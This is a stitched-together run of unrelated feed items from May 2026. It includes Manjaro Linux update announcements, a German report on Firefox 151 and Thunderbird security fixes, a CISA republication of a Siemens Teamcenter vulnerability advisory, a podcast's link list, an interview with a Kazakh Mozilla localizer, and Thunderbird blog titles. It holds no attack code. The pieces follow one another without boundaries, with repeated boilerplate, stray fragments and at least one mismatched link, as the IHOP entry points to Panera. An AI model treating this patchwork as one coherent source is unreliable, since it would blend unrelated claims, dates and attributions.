• As of Linux 6.17.13, the 6.17 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.
• As of Linux 6.19.14, the 6.19 series is now EOL (End Of Life). Please install 7.0, and/or 6.18 LTS (Long Term Support) and/or 6.12 LTS.

Notable Package Updates

• Kernels got all updated
  • linux617-rt got removed
  • linux-firmware uses now zst compression
• Firefox 151.0.1
• Thunderbird 151.0
• Fixes to gstreamer and pipewire
• Updates to Deepin and Python

Additional Info

Get our latest daily developer images now from Github: Plasma, GNOME, XFCE. You can get the latest stable releases of Manjaro from CDN77.

Our current supported kernels

• linux61 6.1.174
• linux66 6.6.141
• linux612 6.12.91
• linux618 6.18.33
• linux70 7.0.10
• linux71 7.1.0-rc5
• linux61-rt 6.1.167_rt62
• linux66-rt 6.6.135_rt74
• linux612-rt 6.12.89_rt18

Package Changes (5/26/26 07:53 CEST)

• testing core x86_64: 37 new and 39 removed package(s)
• testing extra x86_64: 1826 new and 1898 removed package(s)
• testing multilib x86_64: 5 new and 5 removed package(s)

A list of all package changes can be found here.

Click to view the poll.

Check if your mirror has already synced:

• Mirror-Check Service

1 post - 1 participant

Read full topic

Dieser Beitrag Firefox- und Thunderbird-Lücke: BSI warnt, Risiko 4/hoch, CVSS 8,8 erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Hello Manjaro user community, here we have another set of package updates. We are continuing our development of the upcoming release of ‘Bian-May’ which can be expected end of May, beginning of June. Development speed may be a little slower the upcoming weeks. However, still let us know any issues you may found thus far.

Current Promotions

• Get the latest Gaming Laptop by Slimbook powered by Manjaro: Slimbook Manjaro III
• Protect your personal data, keep yourself safe with Surfshark VPN: See current promotion

Recent News

• Manjaro 26.1 Bian-May - Preview released
• Manjaro 26.0 Anh-Linh released
• Manjaro Summit public Alpha now available
• As of Linux 5.4.302, the 5.4 series is now EOL (End Of Life). Please install 5.10 LTS (Long Term Support) or 5.15 LTS.
• As of Linux 6.16.12, the 6.16 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.
• As of Linux 6.17.13, the 6.17 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.
• As of Linux 6.19.14, the 6.19 series is now EOL (End Of Life). Please install 7.0, and/or 6.18 LTS (Long Term Support) and/or 6.12 LTS.

Notable Package Updates

• Blender 5.1.2
• NVIDIA 580.159.04
• Vivaldi 8.0
• Firefox 151.0
• Thunderbird 150.0.2
• Mesa 26.1.1
• Qt5 5.15.19
• Updates to Deepin and Python

Additional Info

Get our latest daily developer images now from Github: Plasma, GNOME, XFCE. You can get the latest stable releases of Manjaro from CDN77.

Our current supported kernels

• linux61 6.1.173
• linux66 6.6.140
• linux612 6.12.90
• linux618 6.18.32
• linux70 7.0.9
• linux71 7.1.0-rc4
• linux61-rt 6.1.167_rt62
• linux66-rt 6.6.133_rt73
• linux612-rt 6.12.79_rt17
• linux617-rt 6.17.5_rt7

Package Changes (5/22/26 15:40 CEST)

• testing core x86_64: 9 new and 9 removed package(s)
• testing extra x86_64: 542 new and 710 removed package(s)
• testing multilib x86_64: 26 new and 26 removed package(s)

A list of all package changes can be found here.

Click to view the poll.

Check if your mirror has already synced:

• Mirror-Check Service

2 posts - 2 participants

Read full topic

Neben Firefox 151 hat Mozilla auch Thunderbird 151 veröffentlicht. Die neue Version des quelloffenen E-Mail-Clients erweitert unter anderem die OAuth-Anmeldung um zusätzliche Funktionen. Darüber hinaus beseitigt das Update wie gewohnt diverse Fehler sowie zahlreiche Sicherheitslücken.

Mit der neuen Firefox-Version 151 für Windows, macOS, Linux und Android kommen einige Verbesserungen beim Schutz der Privatsphäre sowie im eingebauten PDF-Betrachter/-Editor und beim VPN. Die Entwickler haben mehr als 30 Schwachstellen behoben. Updates gibt es auch für die ESR-Versionen und den Tor Browser.

Im Sicherheitsbericht MFSA2026-46 für Firefox 151 nennt Mozilla über 30 beseitigte Sicherheitslücken, von denen 28 durch externe Sicherheitsforscher entdeckt und gemeldet wurden. Wie viele weitere, nicht aufgeführte Schwachstellen durch spezielle „KI“-Tools wie Anthropic Mythos aufgespürt wurden, lässt Mozilla offen. Mozilla-CTO Bobby Holley orakelt allerdings im Firefox-Blog, die Tage der 0-Day-Exploits seien gezählt, „KI“ sei Dank.

▶Die neuesten Sicherheits-Updates

Vier der 28 extern entdeckten Sicherheitslücken stuft Mozilla als hohes Risiko ein, darunter ein möglicher Ausbruch aus der Browser-Sandbox (CVE-2026-8945), der Firefox und Firefox Klar für Android betrifft. Weitere 11 Schwachstellen sind als mittleres Risiko ausgewiesen, der Rest als geringes Risiko. Die drei letzten Einträge im Sicherheitsbericht fassen intern gefundene Sicherheitslücken zusammen, die aus Programmierfehlern bei der Speicherverwaltung resultieren. Erst vor einer Woche hatte Mozilla mit dem Update auf Firefox 150.0.3 fünf risikoreiche Sicherheitslücken geschlossen.

Was ist neu in Firefox 151?

Das mit Firefox 149 eingeführte und in Firefox integrierte Gratis-VPN bietet nun die Wahl zwischen mehreren virtuellen Standorten. Das kostenlose VPN ist derzeit für Firefox-Nutzer in den USA, Kanada, Großbritannien, Frankreich und Deutschland verfügbar. Und ebendiese Länder stehen auch als VPN-Standorte zur Auswahl. Sie können dieses VPN innerhalb von Firefox mit einem kostenlosen Mozilla-Konto verwenden und erhalten monatlich 50 GB nutzbares Datenvolumen. Die Verbesserungen werden schrittweise aktiviert, stehen also nicht allen Nutzern sofort zur Verfügung.

Wenn Sie in Firefox ein privates Fenster öffnen und nutzen, können Sie nun die ganze Sitzung per Knopfdruck löschen, ohne erst das Browser-Fenster schließen zu müssen. Es startet dann eine frische private Sitzung ohne Vorgeschichte. Der verbesserte Tracking-Schutz in Firefox 151 soll nach Mozillas Angaben die Zahl der Nutzer, die Werbetreibende mit den üblichen Fingerabdruck-Techniken identifizieren können, insgesamt um 14 Prozent reduzieren, bei macOS sogar um knapp die Hälfte.

Mozilla

Die überarbeitete „Neuer-Tab“-Seite bietet mehr Hintergrundbilder und ist auf neue Funktionen vorbereitet, die Mozilla bis zur Freigabe von Firefox 152 am 16. Juni schrittweise einführen will. Der in Firefox integrierte PDF-Betrachter erhält eine weitere Funktion eines PDF-Editors: Er kann nun mehrere PDF-Dateien zu einer einzigen zusammenführen und speichern. Die interne Seite für das Übersetzen beliebiger Texte (about:translations) ist jetzt auch über das Menü unter „Weitere Werkzeuge“ erreichbar. Auch Linux-Nutzer können nun ihre Firefox-Profile lokal sichern und plattformübergreifend wiederherstellen.

Tipp: Unabhängig davon, dass Sie Ihren Browser stets aktuell halten, sollten Sie die Sicherheit Ihres PCs zusätzlich mit geeigneter Antivirus-Software verbessern. Gute Antivirus-Lösungen stellen wir in „Die besten Antivirus-Programme 2025 im Test: So schützen Sie Ihren Windows-PC“ vor. Falls Sie großen Wert auf anonymes Surfen legen, sind wiederum gute VPN-Programme einen Blick wert.

Weitere Browser-Updates

Neben Firefox 151.0 sind auch die ESR-Ausgaben 140.11.0 und 115.36.0 erhältlich. Letztere gibt es allerdings nur für Windows 7 & 8.1 sowie macOS 10.12 bis 10.14. In den ESR-Versionen haben Mozillas Entwickler diejenigen der oben genannten Schwachstellen behoben, die schon im teils gut abgehangenen Code dieser Browser-Generationen stecken. Das sind nicht wenige: In Firefox 140.11 sind es mindestens 20 und in Firefox 115.35 immerhin noch wenigstens sieben geschlossene Sicherheitslücken. Firefox ESR 115 wird vorerst bis August 2026 (v115.39) weiter mit Sicherheits-Updates gepflegt.

Der neueste Tor Browser 15.0.14 basiert auf Firefox ESR 140.11. Das ansonsten von Mozilla unabhängige Tor-Projekt und die Nutzer des Tor Browsers profitieren so von den in Firefox gestopften Sicherheitslücken. Einen Tor Browser für ältere Systeme gibt es nicht mehr.

Auch Thunderbird 151.0 und 140.11.0esr werden in Kürze erscheinen. Darin haben die Entwickler ebenfalls Dutzende Sicherheitslücken beseitigt, die das Mail-Programm von Firefox geerbt hat.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

Hello Manjaro user community, here we have another set of package updates. We are continuing our development of the upcoming release of ‘Bian-May’ which can be expected end of May, beginning of June. Development speed may be a little slower the upcoming weeks. However, still let us know any issues you may found thus far.

Current Promotions

• Get the latest Gaming Laptop by Slimbook powered by Manjaro: Slimbook Manjaro III
• Protect your personal data, keep yourself safe with Surfshark VPN: See current promotion

Recent News

• Manjaro 26.1 Bian-May - Preview released
• Manjaro 26.0 Anh-Linh released
• Manjaro Summit public Alpha now available
• As of Linux 5.4.302, the 5.4 series is now EOL (End Of Life). Please install 5.10 LTS (Long Term Support) or 5.15 LTS.
• As of Linux 6.16.12, the 6.16 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.
• As of Linux 6.17.13, the 6.17 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.
• As of Linux 6.19.14, the 6.19 series is now EOL (End Of Life). Please install 7.0, and/or 6.18 LTS (Long Term Support) and/or 6.12 LTS.

Notable Package Updates

• Kernel updates
  • Note: linux510 and linux515 series got removed from our repos. Please adopt to linux6x series.
  • this includes security fixes for Dirty Frag (CVE-2026-43284, CVE-2026-43500)
  • including initial fixes for [ALERT] CopyFail 3.0 - Fragnesia - Unpatched vulnerability
  • including fixes for [ALERT] ssh-keysign-pwn, unprivileged users are able to read root-owned files
  • Note: not all kernel series are patched. It is recommended to keep the suggested mitigations active
• GCC 16
• COSMIC Epoch 1.0.12
• Firefox 150.0.3
• Thunderbird 150.0.2
• KDE Gear 26.04.1
• KDE Frameworks 6.26.0
• Plasma 6.6.5
• Gambas 3.21.6
• Qt 6.11.1
• PipeWire 1.6.5
• COSMIC Epoch 1.0.13
• Vulkan SDK 1.4.350.0
• Gstreamer 1.28.3
• LibreOffice 25.8.7
• ROCm 7.2.3
• Heroic Games Launcher 2.22.0
• certbot 5.6.0
• Updates to python, Deepin and Haskell

Additional Info

Get our latest daily developer images now from Github: Plasma, GNOME, XFCE. You can get the latest stable releases of Manjaro from CDN77.

Our current supported kernels

• linux61 6.1.173
• linux66 6.6.140
• linux612 6.12.90
• linux618 6.18.32
• linux70 7.0.9
• linux71 7.1.0-rc4
• linux61-rt 6.1.167_rt62
• linux66-rt 6.6.133_rt73
• linux612-rt 6.12.79_rt17
• linux617-rt 6.17.5_rt7

Package Changes (5/18/26 15:52 CEST)

• stable core x86_64: 92 new and 96 removed package(s)
• stable extra x86_64: 3815 new and 3881 removed package(s)
• stable multilib x86_64: 47 new and 47 removed package(s)

All package changes can be reviewed here

Click to view the poll.

Check if your mirror has already synced:

• Mirror-Check Service

2 posts - 2 participants

Read full topic

PFSense

https://www.pfsense.org/

Chromebook

https://www.google.com/chromebook/discover-chromebook/

AMD Sempron 140

https://www.techpowerup.com/cpu-specs/sempron-140.c820

Trinity

https://www.trinitydesktop.org/

XFCE

https://www.xfce.org/

Chrome OS

https://chromeos.google/

SSH

https://www.ssh.com/

Onshape

https://www.onshape.com/en/

TinkerCAD

https://www.tinkercad.com/

Thorium OS

https://thorium.rocks/thoriumos

Tech And Coffee

https://techandcoffee.info/

Panera

https://www.panerabread.com/en-us/home.html

IHOP

https://www.panerabread.com/en-us/home.html

Waffle House

https://www.wafflehouse.com/

In And Out Burger

https://www.in-n-out.com/

Economies Of Scale

https://www.investopedia.com/terms/e/economiesofscale.asp

Dunkin Donuts

https://www.dunkindonuts.com/en

F-Droid

https://f-droid.org/en/

Cheap Yellow Display

https://blog.decryption.net.au/posts/cyd-for-beginners.html

NTP Server

https://www.ntppool.org/en/

Beagle (Dog)

https://www.akc.org/dog-breeds/beagle/

Siamese Cat

https://www.life-with-siamese-cats.com/

Bsides InfoSec Conference - Knoxville, TN

https://www.papercall.io/bsides-knoxville-2026

CI/CD Pipeline

https://circleci.com/blog/what-is-a-ci-cd-pipeline/

Strace Command

https://www.geeksforgeeks.org/linux-unix/strace-command-in-linux-with-examples/

High Pass Filter

https://www.izotope.com/en/learn/6-ways-to-use-a-high-pass-filter-when-mixing

Waters & Stanton - Radio Shop

https://www.hamradiostore.co.uk/

Home Assistant

https://www.home-assistant.io/

ESP 32

https://www.espressif.com/en/products/socs/esp32

EMF Camp

https://www.emfcamp.org/

YAML

https://yaml.org/

ChatGPT

https://chatgpt.com/

TOR

https://www.torproject.org/

IPTables

https://linux.die.net/man/8/iptables

https://ccrma.stanford.edu/planetccrma/man/man8/ipchains.8.html

RSYNC

https://linux.die.net/man/1/rsync

SYM Link

https://stackoverflow.com/questions/1951742/how-can-i-symlink-a-file-in-linux

CDN (Content Delivery Network)

https://www.cloudflare.com/learning/cdn/what-is-a-cdn/

Mastadon

https://joinmastodon.org/

DuoLingo

https://www.duolingo.com/

Fedora

https://en.wikipedia.org/wiki/Fedora

Pea Coat

https://www.artofmanliness.com/style/clothing/mans-guide-pea-coat/

Haiku

https://www.haiku-os.org/

Hunt Brothers Pizza

https://www.huntbrotherspizza.com/

Papa Johns Pizza

https://www.papajohns.com/omni/en

PIzza Hut

https://www.pizzahut.com/

Dominos Pizza

https://www.dominos.com/

Marcos Pizza

https://www.marcos.com/

Little Ceasars Pizza

https://littlecaesars.com/en-us/

Hungry Howies Pizza

https://www.hungryhowies.com/

MOD Pizza

https://modpizza.com/

Papa Murphys Pizza

https://www.papamurphys.com/

Wolfman Pizza

https://wolfmanpizza.com/

Fuel Pizza

https://www.fuelpizza.com/

Shallow Hal

https://www.rottentomatoes.com/m/shallow_hal

South Coast Pizza

https://southcoastpizza.com/

Casa Dora

https://www.casadoraitaliancusinepizzeria.com/

National Pizza Day

https://www.nationaldaycalendar.com/national-day/national-pizza-day-february-9

Sagitarius

https://www.zodiacsign.com/zodiac-signs/sagittarius/

Alexa

https://alexa.amazon.com/userProfile?redirectTo=%2F

Gemini

https://gemini.google.com/app

Netscape

https://isp.netscape.com/

Seamonkey

https://www.seamonkey-project.org/

Thunderbird

https://www.thunderbird.net/en-US/

ULC Minister

https://www.ulc.org/

Church Of Spiritual Humanism

https://spiritualhumanism.org/

Oberon Zelle Ravenheart

https://en.wikipedia.org/wiki/Oberon_Zell-Ravenheart

Temple of Wicca

https://www.wiccanfamilytemple.org/

Church Of All Worlds

https://caw.org/

Progressive Universal Life Church

https://www.thepulc.com/

Pine Time

https://pine64.org/devices/pinetime/

AmazFit Watch

https://us.amazfit.com/

Zepp App

https://play.google.com/store/apps/details?id=com.huami.watch.hmwatchmanager&hl=en_US&pli=1

Pegasus Mail

https://www.pmail.com/

Eudora

https://en.wikipedia.org/wiki/Eudora_(email_client)

Proton Mail

https://proton.me/mail

AOL

https://www.aol.com/

OpenSuse

https://www.opensuse.org/

Mandrake Linux

https://www.mandrakelinux.org/

Virtualbox

https://www.virtualbox.org/

Bitcoin

https://bitcoin.org/en/

Norway

https://www.visitnorway.com/

XFCE

https://www.xfce.org/

Provide feedback on this episode.

Summary

Siemens Teamcenter is affected by multiple vulnerabilities which could potentially lead to a compromise in availability, integrity and confidentiality. Siemens has released new versions for the affected products and recommends to update to the latest versions.

The following versions of Siemens Teamcenter are affected:

• Teamcenter V2312 vers:intdot/<2312.0014, vers:intdot/<2312.0009 (CVE-2026-33862, CVE-2026-33893, CVE-2024-4367)
• Teamcenter V2406 vers:intdot/<2406.0012, vers:intdot/<2406.0006 (CVE-2026-33862, CVE-2026-33893, CVE-2024-4367)
• Teamcenter V2412 vers:intdot/<2412.0009 (CVE-2026-33862, CVE-2026-33893)
• Teamcenter V2506 vers:intdot/<2506.0005 (CVE-2026-33862, CVE-2026-33893)
• Teamcenter V2512 vers:all/* 

Background

• Critical Infrastructure Sectors: Critical Manufacturing
• Countries/Areas Deployed: Worldwide
• Company Headquarters Location: Germany

Vulnerabilities

Acknowledgments

• Dustin Born, Robin Plugge, and Tim Wörner of usd AG reported these vulnerabilities.

General Recommendations

As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity

Additional Resources

For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories

Terms of Use

The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.

Legal Notice and Terms of Use

This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

Recommended Practices

CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.

Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.

Locate control system networks and remote devices behind firewalls and isolate them from business networks.

When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.

CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

Advisory Conversion Disclaimer

This ICSA is a verbatim republication of Siemens ProductCERT SSA-827383 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.

Revision History

• Initial Release Date: 2026-05-12

Legal Notice and Terms of Use

Hello Manjaro user community, here we have another set of package updates. We are continuing our development of the upcoming release of ‘Bian-May’ which can be expected end of May, beginning of June. Development speed may be a little slower the upcoming weeks. However, still let us know any issues you may found thus far.

Current Promotions

• Get the latest Gaming Laptop by Slimbook powered by Manjaro: Slimbook Manjaro III
• Protect your personal data, keep yourself safe with Surfshark VPN: See current promotion

Recent News

• Manjaro 26.1 Bian-May - Preview released
• Manjaro 26.0 Anh-Linh released
• Manjaro Summit public Alpha now available
• As of Linux 5.4.302, the 5.4 series is now EOL (End Of Life). Please install 5.10 LTS (Long Term Support) or 5.15 LTS.
• As of Linux 6.16.12, the 6.16 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.
• As of Linux 6.17.13, the 6.17 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.
• As of Linux 6.19.14, the 6.19 series is now EOL (End Of Life). Please install 7.0, and/or 6.18 LTS (Long Term Support) and/or 6.12 LTS.

Notable Package Updates

• Most Kernels got updated
  • this includes security fixes for Dirty Frag (CVE-2026-43284, CVE-2026-43500)
  • some rebuilds against GCC 16
• GCC 16
• COSMIC Epoch 1.0.12
• Thunderbird 150.0.1
• KDE Gear 26.04.1
• KDE Frameworks 6.26.0
• Firefox 150.0.2
• Updates to Deepin and Haskell

Additional Info

Get our latest daily developer images now from Github: Plasma, GNOME, XFCE. You can get the latest stable releases of Manjaro from CDN77.

Our current supported kernels

• linux510 5.10.255
• linux515 5.15.206
• linux61 6.1.172
• linux66 6.6.138
• linux612 6.12.87
• linux618 6.18.28
• linux70 7.0.5
• linux71 7.1.0-rc3
• linux61-rt 6.1.167_rt62
• linux66-rt 6.6.133_rt73
• linux612-rt 6.12.79_rt17
• linux617-rt 6.17.5_rt7

Package Changes (5/11/26 06:00 CEST)

• testing core x86_64: 81 new and 81 removed package(s)
• testing extra x86_64: 2549 new and 2642 removed package(s)
• testing multilib x86_64: 21 new and 21 removed package(s)

A list of all changes can be found here

Click to view the poll.

Check if your mirror has already synced:

• Mirror-Check Service

2 posts - 2 participants

Read full topic

My name is Baurzhan Muftakhidinov. I’m from Kazakhstan. I speak Kazakh, Russian, English and I have been contributing to Mozilla localization for more than 18 years.

From Linux Curiosity to Mozilla Localization

Q: How did you get involved in localization, and what drew you to Mozilla?

A: I came to Mozilla through Linux during my student years. I became interested in Linux at university, and very quickly I noticed how closely the open source world was connected: where there was Linux, Firefox was usually nearby.

When installing Linux distributions, one of the first things I noticed was language support. Many languages were available, but Kazakh was often missing or only partially supported. That made me ask a simple question: why is that, and what can be done about it?

Through Ubuntu’s CD distribution program, I discovered Launchpad and began translating Firefox there. Around the same time, through a local Linux forum, I connected with Timur Timirkhanov, who already had experience with Mozilla localization. He helped me understand Mozilla’s processes, pointed me to packages that needed translation, and opened a locale registration ticket for Kazakh in Bugzilla.

Soon after, Dauren Sarsenov joined, and in the beginning it was mainly the two of us working on Firefox. When Kazakh first appeared in a Firefox beta in spring 2009, we were extremely proud. It felt like a real milestone — not just translating isolated strings, but seeing a major global product appear in Kazakh.

For me, that was bigger than one browser. At the time, we were dreaming about a fully usable open source desktop in Kazakh, and Mozilla localization became one important part of that larger goal. What started as curiosity became a long-term commitment: making technology more accessible in Kazakh and proving that our language belongs in modern software.

Q: Which Mozilla products are closest to you? Do you use them regularly?

A: Firefox is definitely the product closest to me because I use it every day — both desktop and mobile. It never feels like I am translating something distant from my real life. I see the interface, the wording choices, and the practical impact of localization almost daily.

What makes Firefox especially meaningful is that it is both symbolic and practical. Symbolically, it showed that Kazakh could be present in one of the most important pieces of everyday software. Practically, it gave users a browser they could use in their own language. A browser is the gateway to the internet, so localizing Firefox means much more than translating one application.

I also use Thunderbird from time to time and visit MDN quite often. Even when I am not translating, I interact with Mozilla products as a user, so there is always a natural connection between volunteer work and daily habits.

People around me know me through Firefox localization more than through anything else. Very often I am simply “the person who translated Firefox into Kazakh.” That says a lot about how visible Firefox has been.

Promoting Kazakh Localization and Building an Ecosystem

Q: How have you promoted Kazakh-localized software?

A: Most of my promotion work has been grassroots. In earlier years, I shared updates on Linux and open source forums, especially communities already interested in free software. Even when people were not personally interested in contributing, many showed strong support and encouragement. That confirmed that localization mattered beyond just the translation team.

One of my bigger efforts was creating a Debian-based Linux distribution from 2012 to 2015 called Kazsid. I built it partly to test how Kazakh localization worked across multiple applications in a real desktop environment. I included programs that already had Kazakh translations — Firefox, LibreOffice, desktop environments, and other tools — set Kazakh as the default language, and tested how everything worked together.

I shared the builds on forums, and some people downloaded and tried them. It was one of the most practical ways I encouraged interest in Linux and localized software.

Later, as translations matured upstream, maintaining a separate distribution was no longer necessary. That was actually a positive sign — users could install standard distributions and get the same localized experience.

Today I post updates on LinkedIn. It helps maintain visibility, even if it does not often bring in new contributors.

Working Independently — and Working Systematically

Q: What does the Kazakh localization community look like today?

A: At the moment, I am effectively the only active contributor across several major open source localization efforts in Kazakh, including Mozilla products, LibreOffice, GNOME, Xfce, and others.

In the early years, several people made meaningful contributions, but most eventually moved on. Timur helped significantly, especially in the earlier stages and in understanding Mozilla’s processes, and I still occasionally consult trusted people when I need a second opinion.

The challenge for smaller languages is not only starting a translation but maintaining it over the long term. From early on, I was not thinking about one application. My goal was broader: to help create a real open source desktop experience in Kazakh. A browser translated into Kazakh is important, but a full ecosystem is even more meaningful. Sustainability is the hardest part.

Q: How do you approach quality when you are the main translator?

A: Direct user feedback is rare. So QA depends largely on my own testing, judgment, and systems.

I test software in real use, especially Firefox. In earlier years, I also used Nightly builds. Before settling on new terminology, I check dictionaries and reference materials. I consult fluent speakers when needed, and sometimes I discuss wording with my wife to see how natural it sounds.

My principle is that translations should feel clear and alive, not mechanically imported. I studied in Kazakh and remember the terms we were actually taught in IT-related subjects, and that background matters to me.

Because of my scripting background, I have written small tools in Python to help verify translations, track terminology, and maintain consistency. QA is not just “reading it once and hoping for the best.” It is a combination of linguistic judgment, real usage, consultation, and automated checking.

More recently, I have been exploring how AI can assist localization. By testing translations through tools like the Google Gemini API and guiding terminology carefully, I have been able to close significant translation gaps. For Kazakh, newer models understand context much better than traditional machine translation systems. AI does not replace judgment, but it can make the work faster and more effective.

Professional Background

Q: How does your professional background influence your localization work?

Baurzhan at GIS Day 2025

A: My background is partly technical and partly analytical. I studied IT, worked as a Linux system administrator, and later moved into data analysis and GIS.

Those technical skills helped significantly. Automation makes a long-term localization effort much more manageable, especially when one person is doing most of the work.

Localization has strengthened my discipline and consistency. It requires patience and regular effort. Over time, I developed an instinct for terminology and phrasing — whether a term feels natural or artificial in context.

A Few Personal Notes

I have loved reading since I was four years old. My favorite genres are science fiction and popular science. Reading is still how I recharge.

I have lived in several cities in Kazakhstan, so I sometimes joke that I am a true nomad.

My family has always been supportive of my open source work. And when I run into a particularly difficult translation, I can still discuss it with my wife and get a fresh perspective.

The post Helfen Sie mit, dass Thunderbird auch im Jahr 2023 noch lebt und gedeiht appeared first on The Thunderbird Blog.

The post Machen Sie den Thunderbird zu Ihrem: Wie Sie den Thunderbird 115 „Supernova“-Look bekommen appeared first on The Thunderbird Blog.

The post Maximieren Sie Ihren Tag: Zeitblockierung mit Thunderbird appeared first on The Thunderbird Blog.

The post Thunderbird: Der Build- und Release-Prozess erklärt appeared first on The Thunderbird Blog.

The post Maximieren Sie Ihren Tag: Behandeln Sie Ihre E-Mails wie Wäsche appeared first on The Thunderbird Blog.

The post Willkommen bei Thunderbird 128 „Nebula“ appeared first on The Thunderbird Blog.

The post Thunderbird und Spam appeared first on The Thunderbird Blog.

The post Thunderbird Monthly Development Digest – February 2025 appeared first on The Thunderbird Blog.